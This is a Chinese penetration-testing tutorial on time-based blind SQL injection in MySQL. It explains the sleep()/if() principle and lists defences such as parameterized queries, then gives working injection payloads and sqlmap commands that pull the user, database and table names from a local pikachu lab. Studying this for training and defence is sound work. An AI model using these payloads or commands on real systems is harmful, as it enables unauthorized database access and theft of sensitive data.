day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过
一、时间注入
SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击者无法直接从应用程序的响应中获取SQL查询的结果,而是通过观察应用程序的响应时间来推断信息。时间注入正是利用了这一特性,通过使数据库执行延时函数(如MySQL中的sleep()
函数)来检测SQL查询的执行情况,从而推断出数据库中的信息。
1、时间注入的工作原理
时间注入的工作原理大致如下:
- 构造延时查询:攻击者会在SQL查询中注入一个条件,该条件会触发数据库执行延时函数。例如,在MySQL中,可以使用
IF(condition, sleep(time), 0)
这样的语句,如果条件满足,则数据库会延时一段时间(如sleep(10)
表示延时10秒)返回结果,否则立即返回。 - 观察响应时间:攻击者通过观察应用程序的响应时间来判断延时是否发生,从而推断出条件是否满足。如果应用程序的响应时间显著增加,那么可以认为条件满足,即攻击者可以通过这种方式逐步推断出数据库中的敏感信息。
2、时间注入的用途
时间注入主要用于以下场景:
- 数据库信息探测:攻击者可以通过时间注入来探测数据库的类型、版本、表名、列名等信息。
- 数据提取:在知道数据库结构的情况下,攻击者还可以利用时间注入来逐字符地提取数据库中的数据,如用户名、密码等敏感信息。
3、防御措施
为了防范时间注入攻击,可以采取以下措施:
- 使用参数化查询:参数化查询是预防SQL注入的最有效手段之一。通过将SQL语句中的参数与数据值分开处理,确保数据值不会被解释为SQL代码的一部分,从而避免注入攻击。
- 严格输入验证:对所有用户输入进行严格的验证和过滤,拒绝任何可疑或不合规的数据。
- 设置响应时间上限:合理设置响应时间的上限,避免过长的响应时间给攻击者以机会。
- 使用Web应用防火墙(WAF):WAF能够监控和过滤进出Web应用的网络流量,识别和阻止SQL注入等恶意攻击。
4、时间注入攻击方式
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒
执行。
-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这
个原理 n>1 n 不延时就能确定当前数据库的长度了。
如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。
5、时间注入代码分析
在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
6、采用时间注入
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
7、sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限、表、字段等敏感信息的获取。
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
8、获取表 -D 指定数据库 --tables 获取表
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch